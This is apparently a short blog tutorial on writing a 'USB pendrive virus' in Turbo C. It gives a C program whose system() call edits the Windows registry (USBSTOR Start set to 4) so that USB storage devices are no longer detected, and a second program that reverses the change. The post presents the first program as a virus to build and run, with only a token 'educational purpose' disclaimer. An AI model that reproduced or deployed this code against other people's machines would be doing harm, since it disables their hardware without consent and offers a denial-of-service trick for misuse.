Virus is a program
    which infects computer, in different way. I am explaining about a Virus
    Which can easily be made in C or C++, ,When we have run .exe file of this
    Pendrive-usb
    virus then when we connect pendrive with our computer usb,it will not be
    connected. Operating System would not be able to detect
    pendrive. 
Code is written to directly change the usb registry option and change its
    key. Not going to explain about registry in detail now, later will explain.
     
1. Creating usb-pendrive Virus :-  
o    Install Turbo C or C++ 
o    Open TC.exe and there write the coding 
    #include<stdio.h> 
    void main() 
    { 
     
    system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet 
    \\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f"); 
    }  
o    Above Line system("....................."); it is in one Line  
  
o    Save The Above Program as usbblock.c or
    any other name. 
o    Compile and Run the above Program  
o    Congratulation! you are succesfull to
    create the usb-pendrive Virus 
o    Now go to drive where C is installed (Open TC folder) and then BIN ,have that
    usb-pendrive virus usbblock.exe to be used.......... 
o    Run that usbblock.exe in your computer to
    test. 
o    Attach Pendrive to your computer usb
    ....OH! Shit Pendrive doesn't get detected...virus 
o    Dont infect any other computer as it is
    only for educational purpose. 
  
2. To reverse the effect of USB-Pendrive
    Virus (Removal of that Virus) :-  
o    Install Turbo C or C++ 
o    Open TC.exe and there write the coding 
    #include<stdio.h> 
    void main() 
    { 
     
    system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\ 
    Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f"); 
    }  
o    Above Line system("....................."); it is in one Line  
  
o    Save The Above Program as unblockusb.c or
    any other name. 
o    Compile and Run the above Program  
o    Congratulation! you are succesfull to
    create .exe file to unblock USB 
o    Now go to drive where C is installed (Open
    TC folder) and then BIN ,have that unblockusb.exe to be used.......... 
o    Run that unblockusb.exe to reverse the
    effect of usbblock.exe. 
 | 
   
No comments:
Post a Comment